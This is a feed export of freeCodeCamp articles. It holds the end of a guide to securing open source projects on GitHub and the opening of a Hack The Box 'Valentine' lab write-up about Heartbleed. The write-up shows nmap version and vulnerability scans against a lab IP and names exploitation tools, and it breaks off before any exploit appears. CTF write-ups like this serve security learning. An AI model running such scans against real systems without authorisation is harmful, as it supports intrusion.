<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-82.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>This is an example of vulnerabilities found by CodeQL in a vulnerable repository:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-83.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>If you click on one of the findings, you will get more context on the vulnerability:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-84.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-how-does-it-all-work-on-github"><strong>How Does It All Work on GitHub?</strong></h2>
<p>You might now be asking yourselves how are we going to see all of these tools coming together. Well, all the magic will happen on the pull request which will act as your source of truth.</p>
<p>When a contributor raises a pull request, it will trigger all the applications, tools, and actions you have implemented in your pipeline.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-85.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>When you scroll down at the bottom of your pull request, you should see the list of tools you have implemented and their statuses.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-87.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You will see if the tools are successful or failing, if they are required or not (depending on your team's workflow), and other information you need before merging the pull request to your main branch.</p>
<h2 id="heading-how-to-get-value-from-chatops">How to Get Value from ChatOps</h2>
<p><strong>ChatOps</strong> is a collaboration model that combines real-time communication tools, such as chat platforms, with automation and workflows to enable teams to work more efficiently and effectively. </p>
<p>ChatOps brings together people, tools, and processes in a central chat-based interface, such as Slack or Microsoft Teams, where team members can communicate, collaborate, and automate tasks and workflows.</p>
<p>With ChatOps, team members can use chat commands to trigger automated workflows, such as deployment of code changes, monitoring alerts, and incident response actions. </p>
<p>This can help teams work more efficiently by reducing the time and effort required to perform repetitive tasks, and by improving communication and collaboration among team members.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-88.png" alt="Image" width="600" height="400" loading="lazy">
<em>Bringing visibility into your communication channels</em></p>
<p>ChatOps can also help organizations improve security by providing a central location for teams to share security-related information and collaborate on security tasks. </p>
<p>For example, security incidents can be reported and triaged through the chat platform, and security-related commands can be triggered to automate security workflows, such as scanning code changes for vulnerabilities or checking for security misconfigurations in the infrastructure.</p>
<h3 id="heading-how-to-use-slack-for-chatops">How to Use Slack for ChatOps</h3>
<p>You can set up a <strong>free Slack account</strong> and integrate the tools you have implemented from GitHub marketplace through webhooks or applications. You can also create specific channels by tools or discipline to have more visibility and dedicated people when an issue arises.</p>
<p>This is an example of the <strong>GitHub Bot</strong> on Slack. You have real time information when a pull request is raised by using different colors to translate the status of the entire workflow including all the tools you have implemented.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-90.png" alt="Image" width="600" height="400" loading="lazy">
<em>GitHub Bot on Slack</em></p>
<h2 id="heading-any-documenation-on-github">Any Documenation on GitHub?</h2>
<p>GitHub introduced a new feature called <strong>Tables</strong>. It is designed to help teams track and manage work items in a tabular format. </p>
<p>Tables are a type of board that provide a spreadsheet-like interface for managing data, with rows and columns that you can customize to display different types of information.</p>
<p>Tables are highly customizable, with a variety of options for sorting, filtering, and grouping data. Users can add and remove columns, reorder columns, and even save custom views for future use. You can also filter tables based on specific criteria, such as issue status, assignee, or label.</p>
<p>One of the benefits of Tables is that they provide a single view of multiple data sources, making it easier to see the big picture and identify patterns across different work items. </p>
<p>For example, a team might use a Table to track issues and pull requests across multiple repositories, and then group them by assignee to see which team members are responsible for which work items.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-225.png" alt="Image" width="600" height="400" loading="lazy">
<em>Learn more about project management. <a target="_blank" href="https://github.com/features/issues">https://github.com/features/issues</a></em></p>
<p>Tables are just one way of doing project management on GitHub, which also include <strong>Projects</strong> and <strong>Milestones</strong>. </p>
<p>Projects are more flexible than Tables, and you can use them to manage work items in a variety of formats, including boards, lists, and timelines. </p>
<p>You can use milestones to track progress towards specific goals and group related issues and pull requests.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-15.05.11.png" alt="Image" width="600" height="400" loading="lazy">
<em>Example of a list of Milestones and Labels</em></p>
<p>Under a Milestone, you will have a lost of issues developers can work on. Do not forget to add the labels, projects, and milestone on your pull requests to track progress and have it reflected on the Tables or Projects. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-15.05.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Here is an example of a board. You can use automated projects or boards where cards will move according to the status of the pull request. This is also a good way to showcase which feature you’re working on and where you might need some help and contributors.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-93.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>GitHub provides several project management features that can help teams organize and track their work. </p>
<h2 id="heading-open-source-software-best-practices">Open Source Software Best Practices</h2>
<p>We have seen how to implement security guardrails within your projects. Now let's have a look at some open source software best practices to harden your projects!</p>
<h3 id="heading-apply-the-principle-of-least-privilege">Apply the principle of least privilege</h3>
<p>In the context of GitHub, applying the principle of least privilege means granting users and services only the minimum level of access necessary to perform their required tasks, and no more. </p>
<p>This is important for security reasons, as it helps to minimize the potential impact of a security breach or insider threat.</p>
<p>You can encourage your contributors to create strong passwords and to use multi-factor authentication to further protect their accounts. You can limit access to repositories to only those users who need it. For example, if a user only needs read access to a repository, don't give them write access.</p>
<p>Instead of managing access on an individual user basis, use teams to manage access to repositories. This makes it easier to add or remove users as their roles change. </p>
<p>At an organisation level, start by setting the base permissions to <strong>No permission</strong> so the user can only clone and pull the public repositories.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-22.41.12.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Additionally, GitHub provides access tokens that you can use to authenticate with the API and other GitHub services. Use access tokens with the least amount of access required to perform the necessary tasks. </p>
<p>Also encourage users to use OAuth applications and GitHub Apps, which are more secure than personal access tokens.</p>
<p>Finally, make sure to regularly review the access that users have to repositories and other resources on GitHub to ensure that they still need it.</p>
<h3 id="heading-make-2fa-mandatory-for-all-maintainers-and-contributors">Make 2FA Mandatory for All Maintainers and Contributors</h3>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-96.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Make 2FA mandatory for all maintainers and contributors. <a target="_blank" href="https://github.blog/2022-05-04-software-security-starts-with-the-developer-securing-developer-accounts-with-2fa/">By the end of 2023</a>, GitHub will require all users who contribute code on GitHub.com to enable one or more forms of two-factor authentication (2FA) by the end of 2023.</p>
<h3 id="heading-review-your-project-controls">Review Your Project Controls</h3>
<p>On the <strong>Settings</strong> tab and under <strong>Code security and analysis</strong>, you can enable or disable Dependabot for Software Composition Analysis.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-15.10.22.png" alt="Image" width="600" height="400" loading="lazy">
<em>Dependabot controls</em></p>
<p>You can do the same for <strong>Code scanning</strong> where you can set up workflows and protection rules as well as <strong>Secret scanning</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-15.11.13.png" alt="Image" width="600" height="400" loading="lazy">
<em>Code scanning controls</em></p>
<p>For the GitHub Actions, you can <strong>Allow select actions</strong> and include the actions created by GitHub and the actions marked with a blue tick for verified creators as well as a selection of specified actions vetted by your team. In that case, only these actions can be used within your projects.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-98.png" alt="Image" width="600" height="400" loading="lazy">
<em>GitHub Actions permissions</em></p>
<h3 id="heading-protect-your-main-branch">Protect Your Main Branch</h3>
<p>Protecting the main branch on GitHub is important because it is the branch that represents the stable and production-ready version of your code. It is the branch that is typically deployed to your production environment, and any changes to this branch can have a significant impact on the stability and security of your application.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-14.37.30.png" alt="Image" width="600" height="400" loading="lazy">
<em>GitHub will let you know if your main branch is not protected</em></p>
<p>Without protection in place, any user with write access to the repository could potentially make changes to the main branch without any oversight or control, which can introduce errors or vulnerabilities that can be difficult to detect and fix.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-99.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>By protecting the main branch on GitHub, you can enforce policies and rules to ensure that any changes made to the main branch are reviewed and approved by the appropriate stakeholders. You can also ensure that they meet certain criteria, such as passing automated tests and code quality checks.</p>
<p>This helps to reduce the risk of errors or vulnerabilities being introduced to your production environment, and ensures that your application remains stable and secure.</p>
<p>You can require status checks to pass before merging which would include all the tools you have implemented within your workflow.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-15.11.59.png" alt="Image" width="600" height="400" loading="lazy">
<em>Requiring status checks before merging</em></p>
<p>You will be able to see them when a pull request is raised. The required ones will have a <strong>Required</strong> label next to them. If they fail, the merge is blocked until you fix the issues.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-100.png" alt="Image" width="600" height="400" loading="lazy">
<em>Status check results</em></p>
<h3 id="heading-enable-notificationsalerts">Enable Notifications/Alerts</h3>
<p>Enabling notifications and alerts on GitHub is important to keep track of important events and changes in your repositories. This will also make sure that you are notified of potential security or performance issues in a timely manner.</p>
<p>You can customize notifications and alerts to fit your needs. You can include things like pull request reviews, issue updates, new comments, code changes, and security vulnerabilities detected in your dependencies. </p>
<p>By staying on top of these notifications and alerts, you can ensure that you are aware of important events and can take action as needed.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-101.png" alt="Image" width="600" height="400" loading="lazy">
<em>Control access to alerts</em></p>
<p>For example, if a new vulnerability is detected in one of your dependencies, you can receive a notification and take steps to patch the vulnerability or update the dependency. This can help to prevent security breaches and protect your application from potential attacks.</p>
<p>Additionally, enabling notifications and alerts can help you improve collaboration and communication within your development team, as it provides visibility into the activities and progress of team members. This can help ensure that everyone is on the same page and that progress is being made towards project goals.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-102.png" alt="Image" width="600" height="400" loading="lazy">
<em>Make sure to update the right email address for notifications</em></p>
<h3 id="heading-review-all-your-webhooks-and-applications">Review All Your Webhooks and Applications</h3>
<p>Reviewing your webhooks and applications on GitHub is important for security and to ensure that your repositories and applications are functioning as intended.</p>
<p>Webhooks are automated messages that get sent from GitHub to an external system, such as a continuous integration tool or a chatbot. These webhooks can provide a powerful way to automate your development workflow and to integrate with external systems, but they can also present a security risk if not properly configured.</p>
<p>By reviewing your webhooks, you can ensure that only authorized systems are receiving webhook messages, and that the information being sent is appropriate and not exposing sensitive information. </p>
<p>You can also ensure that webhook events are being properly handled and that there are no errors or other issues with the configuration.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-103.png" alt="Image" width="600" height="400" loading="lazy">
<em>If you do not need a webhook anymore, delete it from your project!</em></p>
<p>Similarly, reviewing your applications on GitHub can help you ensure that they are functioning as intended and not exposing any sensitive information. </p>
<p>Applications can access your repository data and perform actions on your behalf, so it is important to review their permissions and ensure that they are only authorized to perform necessary actions. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-104.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>By reviewing your applications, you can ensure that they are properly configured and not exposing your repository data or other sensitive information.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-105.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-review-the-security-overview-checklist">Review the Security Overview Checklist</h3>
<p>Under the Security tab in your repository, you can see the Security overview checklist. This includes a Security policy and Security advisories, as well as where you can enable Dependabot alerts and Code scanning alerts.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-106.png" alt="Image" width="600" height="400" loading="lazy">
<em>Security overview under the Security tab</em></p>
<p>You can include a <strong>Security Policy</strong> as a <strong>SECURITY.md</strong> file in your project.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-107.png" alt="Image" width="600" height="400" loading="lazy">
<em>Include a security policy</em></p>
<h3 id="heading-review-the-community-profile-checklist">Review the Community Profile Checklist</h3>
<p>This section is more focused on the OSS community and good practices in general. Make sure that your project includes a description, a README file, as well as a Code of conduct and a contributing guide. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-109.png" alt="Image" width="600" height="400" loading="lazy">
<em>Make sure your community profile is in good shape</em></p>
<p>You can also define templates for issues or pull requests to give some guidance to future contributors. </p>
<h3 id="heading-implement-open-source-workflows">Implement Open Source Workflows</h3>
<p>Implementing GitHub Actions for open source workflows can help streamline the development process, ensure consistent and reliable results, and improve the overall quality and security of the project.</p>
<p>One important aspect of implementing GitHub Actions for open source workflows is to cover the first interaction with contributors and to close stale issues. This is important because open source projects often have a large number of contributors, and it can be difficult to keep track of all of the interactions and issues that need attention.</p>
<p>You can also use GitHub Actions to automate the process of responding to new issues or pull requests, and to help ensure that issues are addressed in a timely manner. </p>
<p>For example, you can create an action that sends an automatic response to new issues or pull requests, letting the contributor know that their request has been received and is being reviewed.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-110.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/marketplace/actions/first-interaction">https://github.com/marketplace/actions/first-interaction</a></em></p>
<p>Additionally, you can use GitHub Actions to help close stale issues. This is important because open source projects often have a large backlog of open issues that may no longer be relevant or may have already been addressed. By using an action to automatically close stale issues after a certain period of time, you can help keep your project organized and ensure that only relevant issues are being addressed.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-112.png" alt="Image" width="600" height="400" loading="lazy">
<em>GitHub will let you know if some of your issues appear to be stale!</em></p>
<p>Overall, implementing GitHub Actions for open source workflows is an important step in streamlining the development process, improving project quality and security, and ensuring that issues are being addressed in a timely and consistent manner. </p>
<p>By covering the first interaction with contributors and closing stale issues, you can help keep your project organized and efficient, and improve the overall experience for both contributors and users.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-111.png" alt="Image" width="600" height="400" loading="lazy">
<em><a target="_blank" href="https://github.com/marketplace/actions/close-stale-issues">https://github.com/marketplace/actions/close-stale-issues</a></em></p>
<h3 id="heading-showcase-your-open-source-project-status">Showcase Your Open Source Project Status</h3>
<p>Showcasing your open source project status using labels or tags on your README file can be a helpful way to communicate important information about your project to potential users and contributors. </p>
<p>These labels can provide a quick snapshot of the current state of the project, and can help users and contributors understand what to expect from the project.</p>
<p>You can include labels to indicate your project status. This could include labels like "active", "maintenance mode", or "archived", to let users and contributors know whether the project is still actively being developed and maintained. </p>
<p>It's important to let users and contributors know what the licensing terms are for your project. Using a label to indicate the type of license can be a quick and easy way to communicate this information.</p>
<p>If you're using continuous integration tools like Jenkins or CircleCI, you can use labels to indicate the current build status of the project.</p>
<p>If you're using a code coverage tool like Codecov, you can use labels to indicate the current code coverage percentage for the project.</p>
<p>If your project is using security tools, you can use labels to showcase the security health for the project. This can help users understand the security posture of your project.</p>
<p>Overall, showcasing your project status using labels or tags on your README file can help provide important information to potential users and contributors, and can make it easier for them to understand what to expect from the project.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-113.png" alt="Image" width="600" height="400" loading="lazy">
<em>An example of labels to showcase the health of a project</em></p>
<p>This is also a good way to attract more contributors to your project. Developers like to contribute to projects that have stable workflows.</p>
<p>This is an example of creating a status badge for CodeQL:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-114.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You will need to copy/paste the Markdown into your README file.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-115.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>And it will look like this:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-116.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-checkadd-a-license">Check/Add a License</h3>
<p>Adding a license to your open source software (OSS) project is important for several reasons. By adding a license, you are making it clear to others what they can and can't do with your software. This provides legal protection for both you and others who may want to use or contribute to your project.</p>
<p>A license makes it easier for other developers to understand how they can use and contribute to your project. This can help to build a strong and engaged community around your software.</p>
<p>Adding a license to your project can help to avoid confusion and misunderstandings about what is and is not allowed. This can help prevent issues and disputes down the line.</p>
<p>If you do not know where to start, you can choose an open source license that suits your project <a target="_blank" href="https://choosealicense.com/">here</a>. GitHub can then generate the selected license that you can add to your project. </p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-117.png" alt="Image" width="600" height="400" loading="lazy">
<em>Choose the right license for your project</em></p>
<p>You can then change some information like the year or the full name. The license will then be saved as a LICENSE.md or LICENSE.txt file on your repository.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/image-118.png" alt="Image" width="600" height="400" loading="lazy"></p>
<h2 id="heading-5-tips-for-oss-security">5 Tips for OSS Security</h2>
<p>Now that we have a better understanding of what a modern application looks like, how to protect it using some tools and how to harden your projects, let me share with you 5 security tips.</p>
<h3 id="heading-tip-1-adopt-a-devsecops-approach">Tip #1 – Adopt a DevSecOps Approach</h3>
<p>Adopting a DevSecOps approach is an important step towards building secure and resilient software. DevSecOps brings together development, security, and operations teams to ensure that security is an integral part of the software development lifecycle from the very beginning. </p>
<p>By integrating security into every stage of the development process, organizations can identify and address security issues early on, and build more secure software. </p>
<p>DevSecOps involves the use of automated security tools, continuous testing, and code analysis to identify vulnerabilities, and ensure that security is built into every aspect of the software development process. </p>
<p>This approach can help organizations to reduce the risk of security breaches, and to build more secure and resilient software that can withstand evolving threats.</p>
<p>You can learn more about DevSecOps <a target="_blank" href="https://www.freecodecamp.org/news/what-is-devsecops/">in this course from Beau Carnes</a>.</p>
<h3 id="heading-tip-2-address-open-source-vulnerabilities">Tip #2 – Address Open Source Vulnerabilities</h3>
<p>Addressing open source vulnerabilities is critical to maintaining the security of software applications. Open source libraries and frameworks are widely used by developers to build software, but they can also introduce vulnerabilities that attackers can exploit. </p>
<p>To address these vulnerabilities, organizations can use a variety of tools and techniques, such as software composition analysis and vulnerability scanning, to identify and track vulnerabilities in open source components. </p>
<p>They can also prioritize and remediate these vulnerabilities by using a risk-based approach, which involves assessing the likelihood and impact of a vulnerability, and then prioritizing the most critical issues for remediation. </p>
<p>Additionally, organizations can leverage open source vulnerability databases and community-driven vulnerability disclosures to stay up-to-date on the latest vulnerabilities and security issues. </p>
<h3 id="heading-tip-3-automate-simple-security-tasks">Tip #3 – Automate Simple Security Tasks</h3>
<p>Automating security tasks is a crucial step towards achieving a more efficient and effective security posture. By automating repetitive security tasks, organizations can free up their security teams to focus on more complex and critical issues. </p>
<p>This can also help to improve consistency in security processes, reduce errors and omissions, and enable faster detection and response to security incidents. </p>
<p>You can apply automation to various security tasks, including vulnerability scanning, code analysis, security testing, access control, incident response, and compliance monitoring. </p>
<h3 id="heading-tip-4-be-aware-of-your-own-assets">Tip #4 – Be Aware of Your Own Assets</h3>
<p>Being aware of your own assets and visibility is a crucial aspect of maintaining a strong security posture. Organizations should have a clear understanding of their own infrastructure, systems, and data, and ensure that they have visibility into all aspects of their operations. </p>
<p>This includes monitoring their networks, applications, and endpoints for signs of compromise, as well as regularly reviewing their access controls and privileges to ensure that they are appropriate and up-to-date. </p>
<p>Additionally, organizations should be aware of their public-facing assets and take steps to reduce their exposure to potential threats, such as through the use of firewalls, web application firewalls, and other security measures. </p>
<h3 id="heading-tip-5-provide-security-training-for-developers">Tip #5 – Provide Security Training for Developers</h3>
<p>In today's world of frequent security breaches and cyber attacks, it is crucial that developers have a good understanding of security best practices. Security training for developers can help them understand how to write secure code, identify vulnerabilities, and adopt security measures throughout the software development lifecycle. </p>
<p>By providing security training to developers, organizations can ensure that their developers are equipped with the knowledge and skills to build secure applications and prevent security incidents. </p>
<p>Security training can also help create a culture of security awareness within the organization, and ensure that all team members understand the importance of security and are able to contribute to the organization's security efforts.</p>
<p>You can use the <strong>Snyk Learn</strong> platform as a starting point. Snyk Learn teaches developers how to stay secure with interactive lessons exploring vulnerabilities across a variety of languages and ecosystems.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-23.19.51.png" alt="Image" width="600" height="400" loading="lazy">
<em>The Snyk Learn platform. https://learn.snyk.io/</em></p>
<h2 id="heading-how-to-make-an-impact-in-the-open-source-software-community">How to Make an Impact in the Open Source Software Community</h2>
<p><strong>Hacktoberfest</strong> is an annual event sponsored by DigitalOcean and GitHub, where developers from around the world contribute to open source projects throughout the month of October. </p>
<p>The event is aimed at encouraging contributions to open source projects and is open to anyone regardless of skill level. </p>
<p>To participate, developers must register on the Hacktoberfest website, and then make four valid pull requests to any participating open source project on GitHub. </p>
<p>Once the pull requests are accepted, the developer will receive a free limited edition t-shirt. Hacktoberfest is a great way for developers to get involved in the open source community and to contribute to projects that they use and rely on.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-23.21.48.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://hacktoberfest.com/</em></p>
<p><strong>The Big Fix</strong> event from Snyk is a global event designed to help organizations keep their open source dependencies secure and up to date. </p>
<p>The event is typically held over the course of a month and features a range of activities such as live coding sessions, webinars, and Q&amp;A sessions with Snyk experts. </p>
<p>The goal of the Big Fix event is to encourage developers to take proactive steps to maintain the security and integrity of their open source software and to educate them and security professionals on best practices for securing their applications.</p>
<p>By participating in the Big Fix event and fixing at least one vulnerability, the developers will receive a free limited edition t-shirt.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-22-at-23.25.47.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://snyk.io/events/the-big-fix/</em></p>
<h2 id="heading-key-takeaways-for-open-source-security-101">Key takeaways for Open Source Security 101</h2>
<ol>
<li>Implementing secure software development practices is crucial to protect against cyber attacks and safeguard user data.</li>
<li>Open source projects can benefit from using security tools such as software composition analysis, static code analysis, and vulnerability scanners to identify and remediate potential security risks.</li>
<li>GitHub marketplace offers a variety of security applications and actions that can be used throughout the software development lifecycle to automate security tasks, enforce best practices, and protect the project from vulnerabilities.</li>
<li>Practicing good security hygiene, such as enabling notifications and alerts, reviewing webhooks and applications, and protecting the main branch, can help prevent unauthorized access and data breaches.</li>
<li>Providing security training for developers can help raise awareness about the importance of security and ensure that secure coding practices are integrated into the software development process.</li>
</ol>
<p>I hope this article will help you improving the security posture of your projects!</p>
<p>You can follow me on <a target="_blank" href="https://twitter.com/SonyaMoisset">Twitter</a> or on <a target="_blank" href="https://www.linkedin.com/in/sonyamoisset/">LinkedIn</a>. Don't forget to #<strong>GetSecure</strong>, #<strong>BeSecure</strong> &amp; #<strong>StaySecure</strong>!</p>
<p>Oh and one more thing before you go...</p>
<h2 id="heading-do-not-push-your-keys-on-github">DO NOT PUSH YOUR KEYS ON GITHUB!!!</h2>
<p><img src="https://www.freecodecamp.org/news/content/images/2023/02/Screenshot-2023-02-13-at-15.38.21.png" alt="Image" width="600" height="400" loading="lazy"></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Keep Calm and Hack The Box – Valentine ]]>
                </title>
                <description>
                    <![CDATA[ Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills. It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/keep-calm-and-hack-the-box-valentine/</link>
                <guid isPermaLink="false">66ba3135a0a8bce4fb2ee7bd</guid>
                
                    <category>
                        <![CDATA[ Application Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ cybersecurity ]]>
                    </category>
                
                    <category>
                        <![CDATA[ information security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ #infosec ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ Sonya Moisset ]]>
                </dc:creator>
                <pubDate>Tue, 25 May 2021 22:43:11 +0000</pubDate>
                <media:content url="https://www.freecodecamp.org/news/content/images/2021/05/vapor-synthwave-retro-city-4k-xu.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>Hack The Box (HTB) is an online platform that allows you to test your penetration testing skills.</p>
<p>It contains several challenges that are constantly updated. Some of them simulate real world scenarios and some of them lean more towards a CTF style of challenge.</p>
<p><strong>Note</strong>: <em>Only write-ups of retired HTB machines are allowed.</em></p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-00.44.32.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>Valentine is an easy machine which focuses on the Heartbleed vulnerability, which had a devastating impact on systems across the globe.</p>
<p>We will use the following tools to pawn the box:</p>
<ul>
<li>Nmap</li>
<li>Nmap Scripting Engine</li>
<li>Gobuster</li>
<li>Searchsploit</li>
<li>xxd</li>
<li>OpenSSL</li>
<li>SSH</li>
<li>tmux</li>
</ul>
<p>Let's get started!</p>
<h2 id="heading-step-1-reconnaissance"><strong>Step 1 - Reconnaissance</strong></h2>
<p>The first step before exploiting a machine is to do a little bit of scanning and reconnaissance.</p>
<p>This is one of the most important parts as it will determine what you can try to exploit afterwards. It is always better to spend more time on this phase to get as much information as you can.</p>
<h3 id="heading-port-scanning"><strong>Port scanning</strong></h3>
<p>I will use <strong>Nmap</strong> (Network Mapper). Nmap is a free and open source utility for network discovery and security auditing.</p>
<p>It uses raw IP packets to determine what hosts are available on the network, what services those hosts are offering, what operating systems they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics.</p>
<p>There are many commands you can use with this tool to scan the network. If you want to learn more about it, you can have a look at the documentation <a target="_blank" href="https://tools.kali.org/information-gathering/nmap">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-22.57.05.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I use the following command to perform an intensive scan:</p>
<pre><code class="lang-bash">nmap -A -v 10.129.1.190
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-22.57.29.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p><strong>-A:</strong> Enables OS detection, version detection, script scanning, and traceroute</p>
<p><strong>-v:</strong> Increases verbosity level</p>
<p><strong>10.129.1</strong>.190<strong>:</strong> IP for the Valentine box</p>
<p>We can see that there are 3 open ports:</p>
<ul>
<li><strong>Port</strong> 22. Secure Shell (SSH), secure logins, file transfers (scp, sftp) and port forwarding.</li>
<li><strong>Port</strong> 80. Hypertext Transfer Protocol (HTTP). </li>
<li><strong>Port</strong> 443. Hypertext Transfer Protocol Secure (HTTPS).</li>
</ul>
<p>I also decide to check the hostname against the Nmap vulnerability database with this command:</p>
<pre><code class="lang-bash">nmap --script vuln 10.129.1.190
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.00.38.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the <a target="_blank" href="http://lua.org/">Lua programming language</a>) to automate a wide variety of networking tasks. You can find more info <a target="_blank" href="https://nmap.org/book/man-nse.html">here</a>.</p>
<p>You can find the scripts under:</p>
<pre><code class="lang-bash">/usr/share/nmap/scripts
</code></pre>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.08.41.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>You can also look for specific script with the <strong>grep</strong> command. More info on the command <a target="_blank" href="https://man7.org/linux/man-pages/man1/grep.1.html">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.09.57.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>I look at the findings and can see that the box is vulnerable to <strong>ssl-heartbleed</strong>:</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.01.56.png" alt="Image" width="600" height="400" loading="lazy"></p>
<p>The information section gives us a couple of links to learn more about the vulnerability. The first link redirects to the <strong>MITRE</strong> Common Vulnerabilities and Exposures <strong>Database</strong>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.04.14.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-0160</em></p>
<p>The CVE Program identifies, defines, and catalogs publicly disclosed cybersecurity vulnerabilities.</p>
<p>There's another link that redirects to the OpenSSL Security Advisory.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-24-at-23.05.39.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://www.openssl.org/news/secadv/20140407.txt</em></p>
<h2 id="heading-step-2-what-is-the-heartbleed-vulnerability"><strong>Step 2</strong> – What is the <strong>Heartbleed</strong> Vulnerability?</h2>
<p><strong>Heartbleed</strong> is a security bug in the OpenSSL library. It was introduced in 2012 and publicly disclosed in April 2014. </p>
<blockquote>
<p>The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This allows attackers to eavesdrop on communications, steal data directly from the services and users, and to impersonate services and users. – Heartbleed.com</p>
</blockquote>
<p>You can learn more about Heartbleed on this dedicated website <a target="_blank" href="https://heartbleed.com/">here</a>.</p>
<p><img src="https://www.freecodecamp.org/news/content/images/2021/05/Screenshot-2021-05-25-at-17.58.12.png" alt="Image" width="600" height="400" loading="lazy">
<em>https://heartbleed.com/</em></p>
<p>There's also a great webcomic from <strong>xkcd</strong></p>
